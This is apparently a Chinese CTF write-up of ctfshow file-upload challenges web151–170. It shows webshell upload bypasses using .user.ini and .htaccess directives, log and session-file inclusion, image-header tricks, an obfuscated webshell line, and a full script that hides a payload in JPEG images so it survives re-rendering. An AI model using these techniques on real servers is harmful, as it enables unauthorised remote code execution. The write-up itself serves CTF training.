目录
大体思路
WEB151
WEB152
WEB153
WEB154
web155
web156
web157、158
web159
web160
web161
WEB162
WEB163
WEB164
WEB165
WEB166
WEB167
WEB168
WEB169
WEB170
杂记
图片木马原理:
图片木马以文件上传漏洞为基本条件,将可执行的脚本写入到图片中去,再利用文件包含漏洞来执行图片中的一句话木马,从而获取目标服务器权限。
有个很迷的地方:
当你正常上传一个png文件后,开启代理再次上传,会提示上图的错误,群主说是因为js需要重置dom,开启代理并刷新一下再上传就好。
上传非png文件时会报错,但是bp中没有流量产生,说明为前端过滤
方法:上传test.png(没错,只能是png,gif和jpg都不行)文件,内容为然后bp抓包后修改后缀。访问这个文件RCE即可。
知识点
什么是 MIME Type?
MIME(多用途互联网邮件扩展类型)
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
一、
首先,我们要了解浏览器是如何处理内容的。在浏览器中显示的内容有 HTML、有 XML、有 GIF、还有 Flash ……那么,浏览器是如何区分它们,决定什么内容用什么形式来显示呢?答案是 MIME Type,也就是该资源的媒体类型。
媒体类型通常是通过 HTTP 协议,由 Web 服务器告知浏览器的,更准确地说,是通过 Content-Type 来表示的,例如:
Content-Type: text/HTML
注意,第二行为一个空行,这是必须的,使用这个空行的目的是将MIME信息与真正的数据内容分隔开。
表示内容是 text/HTML 类型,也就是超文本文件。为什么是“text/HTML”而不是“HTML/text”或者别的什么?MIME Type 不是个人指定的,是经过 ietf 组织协商,以 RFC 的形式作为建议的标准发布在网上的,大多数的 Web 服务器和用户代理都会支持这个规范 (顺便说一句,Email 附件的类型也是通过 MIME Type 指定的)。
前端过滤加MIME检查
上传png文件,修改后缀,访问文件RCE即可。
知识点
本题考察.user.ini文件的知识
.htaccess和.user.ini配置文件妙用
官方解释
自 PHP 5.3.0 起,PHP 支持基于每个目录的 INI 文件配置。此类文件 仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果你的 PHP 以模块化运行在 Apache 里,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 和PHP_INI_ALL模式的 INI 设置可被识别。
具体的配置可以看该链接
也就是里面除了PHP_INI_SYSTEM模式的配置以外都可以在.user.ini中进行重写。那么我们就去找我们需要用到配置,
发现 auto_append_file=filename //一个相当于在每个php文件尾加上 include(“filename”) auto_prepend_file=filename //一个相当于文件头加上 include(“filename”)
例子:
//.user.ini auto_prepend_file=1.png //1.png //1.php(任意php文件)
满足这三个文件在同一目录下,则相当于在1.php文件开头里插入了包含语句include('1.png');
进行了文件包含,因为1.png里面有php代码,所以经过include之后就会代码执行。所以我们就依次上传即可另外还发现了这么一条
如果题目在php.ini中设置了open_basedir,那么我们就可以上传.user.ini进行修改open_basedir的值,当然条件比较苛刻。大家有兴趣可以研究研究。
想要引发.user.ini解析漏洞需要三个前提条件
服务器脚本语言为PHP
服务器使用CGI/FastCGl模式
上传目录下要有可执行的php文件
分析:
为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
方法:
因为有前端和MIME限制。所以我们先上传图片,然后改为.user.ini即可。
内容为auto_append_file=test.png
然后在上传一个图片木马 test.png。
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
从前面我们知道,upload目录下有一个index.php文件,,所以我们的图片木马里面的内容就加入到这个index.php里面了,只要使用这个文件即可触发攻击。
或者可以直接在upload/目录下进行给1赋值(访问/upload/ 默认访问index.php)。
例如这样:
跟上题的步骤一样,只是上传图片木马时上传不上去,经过不断抓包,修改图片木马里面的内容发现是对
那就只有尝试使用短标签来替换
知识点:
php4种常见风格标签写法
1:正常写法xml格式
2:短标签
5.4 起
就相当于
(注释:这种写法在php配置中默认关闭了的,如果要正常输出,需要配置php.ini文件。在配置文件中找到asp_tags=off ,将off改为on。改动配置文件后需要重启apache。)但是在php7之后被移除了
4:长标签风格
在php7之后被移除了
对于该题,我们可用使用进行绕过,图片内容
剩下的步骤同153
和154一样
在前面的基础上过滤了 []那我们直接用{}来代替
把图片木马内容改为:
即可
在前面的基础上过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片木马内容
或者
因为有?>闭合所以可以不用;结尾
过滤了括号
过滤了括号反引号还有一些关键字,利用日志包含绕过,木马图片内容
因为log被过滤了。所以用拼接绕过
上传完.user.ini和木马图片后
访问网站然后修改ua头信息即可
具体操作:
先上传.user.ini文件
上传木马文件。
这里的木马图片其实是一个中间桥梁的作用,可以在.user.ini中直接包含日志文件。
不过这里不能直接写auto_append_file="/var/lo"."g/nginx/access.lo"."g",会解析错误:
可以写成 auto_append_file=/var/lo""g/nginx/access.lo""g
而可以解析成功。
因为后面是作为PHP文件解析(php字符串拼接的知识),而前面那个是服务器配置文件,语法不同(PHP中可以用.连接字符串这个设定)auto_append_file=/var/lo""g/nginx/access.lo""g可以的原因是环境服务器伪linux,这里是linux字符串拼接的知识。
修改UA,重新访问
然后访问/upload/目录就行了。
方法:在160的基础上增加图片头即可,即 GIF89A
知识点:
文件上传漏洞之getimagesize()类型验证
getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求,所以可以直接在图片内容开头添加GIF89A。
或者使用图片木马
图片木马的制作
图片木马的制作就是在原来正常的图片用文本打开后,在最后增加php代码即可
第二个方法1就是这样的原理
正常图片结尾
图片木马结尾:
也可以直上传一个正常图片然后抓包在数据最后加上代码就行
这次把.和flag
给ban了,使用session文件包含
还是一样先上传.user.ini
,内容为
GIF89A
auto_append_file=/tmp/sess_monica
这样跳过了中间上传图片木马作为桥梁那部分,在upload/目录下就直接包含了session文件
然后构造一个上传session文件的包
修改cookie,写入内容
访问upload/目录,目录下有index.php文件,即相当于在index.php文件中执行include /tmp/sess_monica
开始竞争即可
成功竞争:
同WEB162
png图片二次渲染
知识点:
二次渲染
将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。
Upload-Labs第Pass-16通关(二次渲染绕过) 详解 - 付杰博客
只能上传png图片 ,不仅仅是前端进行了限制,后端也进行了png的检查,所以只修改前端绕过是没有用的。
可以发现文件上传成功后,点击查看图片会跳转到download.php?image=,
这就是这题的前提,跳转之后可能是有include($_GET[image]),所以会代码执行,如果没有,那么访问图片是不能执行代码的
我们先上传一个图片木马:
16进制格式
查看图片发现并没有执行
使用ctrl+s(command+s)将图片下载下来,上传这个图片
发现php代码没有了,猜测是进行了二次渲染。
这里使用大牛的png绕过二次渲染的脚本:
*/
//imagepng($img,'1.png'); 要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>
------------------------------------
创建1.png图片成功!
------------------------------------
脚本保存为 png二次渲染.php ,进入脚本所在目录,执行命令
php png二次渲染.php 1.png
//1.png可以换成任何
此时1.png内容为:
上传1.png
查看图片并传入命令:
使用ctrl+s(command+s)将图片下载下来,记事本打开即可
这题改成了:jpg二次渲染
脚本:
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php ');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用方法:
1、随便找一个jpg图片,没有的网上搜jpg图片,下载图片即可,先把jpg图片上传至服务器然后再下载到本地保存为 1.jpg,和脚本放在一起
不过jpg图片成功率很低,下面是国光师傅分享了一张成功率比较高的图片
2、脚本保存为 jpg二次渲染.php,进入脚本目录,执行命令
php jpg二次渲染.php 1.jpg
那么就会在该目录下生成一个payload_1.jpg,其内容为:
3、上传payload_1.jpg 查看图片,抓POST的包,不要简单的刷新抓包
成功执行
前提条件:
这里为啥直接访问upload/download.php?file=6943ab35cd43100186ebfc5f4069df58.zip就可执行一句话木马?
因为在后端的download.php代码中包含了我们上传的文件,也就当作PHP代码执行了。当然,这也是后话了…
附上download.php代码:
注意include($file),这是我们zip能够执行php代码的条件!
方法:
前端限制上传类型为:zip

上传一个zip文件
注意:
这里自己上传的zip包,MIME类型为:Content-Type: application/zip
需要修改成:Content-Type: application/x-zip-compressed
上传成功后提示可以下载,

点击下载文件并抓包:
我们发现URL已经发生了变化,这时URL也就是我们上传的zip文件的位置,并且使用的是GET方法。
因为我们zip文件的内容为POST传参,所以不能直接使用这个GET包,得访问这个地址并POST传参
抓POST传参的包:
也可以直接用hackbar进行POST但是需要在POST命令后面加一个die();如果不使用die()那么就会直接下载文件不会显示内容,原因是因为这个Content-Type: application/x-zip-compressed
或者修改zip文件的内容为GET方法:
抓下载文件这个包

GET传参即可,注意需要使用URL编码
使用hackbar,同样道理
WEB167
根据提示 ,说明和apache有关,一开始以为是apache解析漏洞,然后上传a.php.xxx也没有被解析成php。
发现前端对jpg文件没有过滤,其实后端也进行了过滤,所以不能修改后缀为php
照以前上传.user.ini
的方法做,结果一访问/upload
却找不到文件,说明原来的/upload/index.php
文件没有了,但是注意页面发现服务器是Apache

知识点:
.htaccess 和.user.ini 配置文件妙用 · 大专栏
.htaccess 是 Apache 的配置文件,不过相当于一个局部配置文件,只对该文件所在目录下的文件起作用。
方法:
上传jpg图片,抓包修改文件名为.htaccess
内容为:
AddType application/x-httpd-php .jpg //将.jpg后缀的文件解析 成php
或者:
SetHandler application/x-httpd-php //将所有文件都解析为 php 文件
在上传一个muma.jpg,内容为一句话
WEB168
知识点:
$_REQUEST变量获得GET或POST的参数,值的注意的是,如果通过不同的方式获得相同变量的不同值,$_REQUEST变量只会获得最后传入的那个参数的值
基础免杀
前端限制只能为png格式,上传png木马图片

可以发现,muma.png图片中的内容应该是被检测,查杀了,所以没有上传成功 
查阅发现过滤了eval,和system,$_POST $_GET等等(可以通过脚本fuzz出来)
前端设置为只能用jpg类型,bp抓包修改为php,文件内容修改 为免杀代码
以下是收集的脚本:
脚本1:
//利用反引号执行系统命令
脚本2:
//a=system&b=tac ../flagaa.php
脚本3:
//c相当于system,给1赋值参数即可
脚本5:
脚本6:
脚本7:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos});
#数字函数 get传参 abs=system&acos=tac ../flagaa.php
方法:修改后缀,内容为脚本,可以发现成功上传muma.php
访问muma.php
注意:url要变化,直接点下载文件是不行的
在访问的url上加上/upload/上传的文件名
WEB169
高级免杀
前端代码进行zip检测,只允许zip文件上传
但上传zip不上去

看了WP才知道,后端原来检查了MIME只能为image/png
抓包后修改为图片的MIME type为image/png就能成功上传了
后端同时对文件内容进行过滤: < > ? 空格 $等等

因为文件名可以为.user.ini
和php 而且过滤了很多东西,文件内容就不写一句话木马了,结合.user.ini进行日志包含。在UA头写一句话木马即可
方法:
先上传一个.user.ini文件内容为auto_append_file=/var/log/nginx/access.log
然后上传一个php文件,内容随意
访问1.php,注意前面要加上upload
WEB170
同WEB169
杂记
来源于师傅:D.MIND
.user.ini 不仅仅用于apache服务器,但要求上传目录下有一个php文件
.htaccess 只适用于apache服务器,没有文件的要求,可指定解析任意文件
如果要上传 .htaccess 文件但有getimagesize、exif_imagetype函数的检查,可以用#define width 1
和#define height 1
定义:这样.htaccess文件既不会受到影响而失效,又能绕过检测
#define width 1
#define height 1
AddType applocation/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
.htaccess还能配合伪协议的适用,解析已经上传的内容,那么上传的内容可以是base64编码后的,从而绕过敏感字符检查
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.ppp"
具体看:[CISCN2019 总决赛 Day2 Web1]Easyweb
你可能感兴趣的:(CTFSHOW,安全漏洞,网络安全,信息安全)